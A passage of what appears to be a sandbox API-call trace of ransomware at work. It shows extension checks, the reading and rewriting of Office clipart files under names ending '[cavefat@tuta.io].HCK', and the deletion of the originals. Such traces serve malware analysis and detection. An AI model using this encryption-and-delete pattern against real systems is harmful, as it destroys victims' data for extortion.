(lpString1=".doc", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString=".docx") returned 5 [0169.107] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0169.107] lstrlenW (lpString=".pdf") returned 4 [0169.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString=".xls") returned 4 [0169.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.107] lstrlenW (lpString=".xlsx") returned 5 [0169.107] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0169.107] lstrlenW (lpString=".ppt") returned 4 [0169.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".zip") returned 4 [0169.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.107] lstrlenW (lpString=".rar") returned 4 [0169.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString=".bz2") returned 4 [0169.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString=".7z") returned 3 [0169.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".dbf") returned 4 [0169.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".1cd") returned 4 [0169.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".jpg") returned 4 [0169.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.107] lstrlenW (lpString=".doc") returned 4 [0169.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString=".docx") returned 5 [0169.108] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0169.108] lstrlenW (lpString=".pdf") returned 4 [0169.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString=".xls") returned 4 [0169.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.108] lstrlenW (lpString=".xlsx") returned 5 [0169.108] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0169.108] lstrlenW (lpString=".ppt") returned 4 [0169.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.108] lstrlenW (lpString=".zip") returned 4 [0169.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.108] lstrlenW (lpString=".rar") returned 4 [0169.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString=".bz2") returned 4 [0169.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString=".7z") returned 3 [0169.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.108] lstrlenW (lpString=".dbf") returned 4 [0169.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.108] lstrlenW (lpString=".1cd") returned 4 [0169.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0169.108] lstrlenW (lpString=".jpg") returned 4 [0169.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.108] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.108] lstrlenW (lpString="J0153299.WMF") returned 12 [0169.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.115] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=36620) returned 1 [0169.115] CloseHandle (hObject=0x394) returned 1 [0169.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220 [0169.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.125] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.125] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.130] GetLastError () returned 0x0 [0169.130] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8f0c, lpOverlapped=0x0) returned 1 [0169.133] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8f10, lpOverlapped=0x0) returned 1 [0169.134] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.134] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.134] SetEndOfFile (hFile=0x394) returned 1 [0169.138] CloseHandle (hObject=0x394) returned 1 [0169.139] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.139] SetEndOfFile (hFile=0x378) returned 1 [0169.143] CloseHandle (hObject=0x378) returned 1 [0169.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".doc") returned 4 [0169.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".docx") returned 5 [0169.148] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.148] lstrlenW (lpString=".pdf") returned 4 [0169.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".xls") returned 4 [0169.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.148] lstrlenW (lpString=".xlsx") returned 5 [0169.148] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.148] lstrlenW (lpString=".ppt") returned 4 [0169.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".zip") returned 4 [0169.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.148] lstrlenW (lpString=".rar") returned 4 [0169.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".bz2") returned 4 [0169.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".7z") returned 3 [0169.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".dbf") returned 4 [0169.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".1cd") returned 4 [0169.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".jpg") returned 4 [0169.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.148] lstrlenW (lpString=".doc") returned 4 [0169.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".docx") returned 5 [0169.148] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.148] lstrlenW (lpString=".pdf") returned 4 [0169.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.148] lstrlenW (lpString=".xls") returned 4 [0169.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.148] lstrlenW (lpString=".xlsx") returned 5 [0169.149] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.149] lstrlenW (lpString=".ppt") returned 4 [0169.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.149] lstrlenW (lpString=".zip") returned 4 [0169.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.149] lstrlenW (lpString=".rar") returned 4 [0169.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.149] lstrlenW (lpString=".bz2") returned 4 [0169.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.149] lstrlenW (lpString=".7z") returned 3 [0169.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.149] lstrlenW (lpString=".dbf") returned 4 [0169.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.149] lstrlenW (lpString=".1cd") returned 4 [0169.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0169.149] lstrlenW (lpString=".jpg") returned 4 [0169.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.149] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.149] lstrlenW (lpString="J0153313.WMF") returned 12 [0169.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.155] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16952) returned 1 [0169.155] CloseHandle (hObject=0x330) returned 1 [0169.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220 [0169.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.163] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.163] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.178] GetLastError () returned 0x0 [0169.178] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4238, lpOverlapped=0x0) returned 1 [0169.180] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4240, lpOverlapped=0x0) returned 1 [0169.181] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.181] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.181] SetEndOfFile (hFile=0x388) returned 1 [0169.183] CloseHandle (hObject=0x388) returned 1 [0169.186] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.186] SetEndOfFile (hFile=0x2ec) returned 1 [0169.189] CloseHandle (hObject=0x2ec) returned 1 [0169.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0169.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.194] lstrlenW (lpString=".doc") returned 4 [0169.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString=".docx") returned 5 [0169.194] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0169.194] lstrlenW (lpString=".pdf") returned 4 [0169.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString=".xls") returned 4 [0169.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.194] lstrlenW (lpString=".xlsx") returned 5 [0169.194] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0169.194] lstrlenW (lpString=".ppt") returned 4 [0169.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.194] lstrlenW (lpString=".zip") returned 4 [0169.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.194] lstrlenW (lpString=".rar") returned 4 [0169.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString=".bz2") returned 4 [0169.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString=".7z") returned 3 [0169.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.194] lstrlenW (lpString=".dbf") returned 4 [0169.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.194] lstrlenW (lpString=".1cd") returned 4 [0169.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".jpg") returned 4 [0169.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".doc") returned 4 [0169.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString=".docx") returned 5 [0169.195] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0169.195] lstrlenW (lpString=".pdf") returned 4 [0169.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString=".xls") returned 4 [0169.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.195] lstrlenW (lpString=".xlsx") returned 5 [0169.195] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0169.195] lstrlenW (lpString=".ppt") returned 4 [0169.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".zip") returned 4 [0169.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.195] lstrlenW (lpString=".rar") returned 4 [0169.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString=".bz2") returned 4 [0169.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString=".7z") returned 3 [0169.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".dbf") returned 4 [0169.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".1cd") returned 4 [0169.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0169.195] lstrlenW (lpString=".jpg") returned 4 [0169.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.195] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.195] lstrlenW (lpString="J0153518.WMF") returned 12 [0169.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.199] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12528) returned 1 [0169.199] CloseHandle (hObject=0x330) returned 1 [0169.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220 [0169.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.213] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.213] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.224] GetLastError () returned 0x0 [0169.224] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x30f0, lpOverlapped=0x0) returned 1 [0169.228] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3100, lpOverlapped=0x0) returned 1 [0169.229] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.229] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.229] SetEndOfFile (hFile=0x398) returned 1 [0169.231] CloseHandle (hObject=0x398) returned 1 [0169.233] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.233] SetEndOfFile (hFile=0x2ec) returned 1 [0169.241] CloseHandle (hObject=0x2ec) returned 1 [0169.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0169.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.245] lstrlenW (lpString=".doc") returned 4 [0169.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.245] lstrlenW (lpString=".docx") returned 5 [0169.245] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.245] lstrlenW (lpString=".pdf") returned 4 [0169.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.245] lstrlenW (lpString=".xls") returned 4 [0169.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.245] lstrlenW (lpString=".xlsx") returned 5 [0169.245] 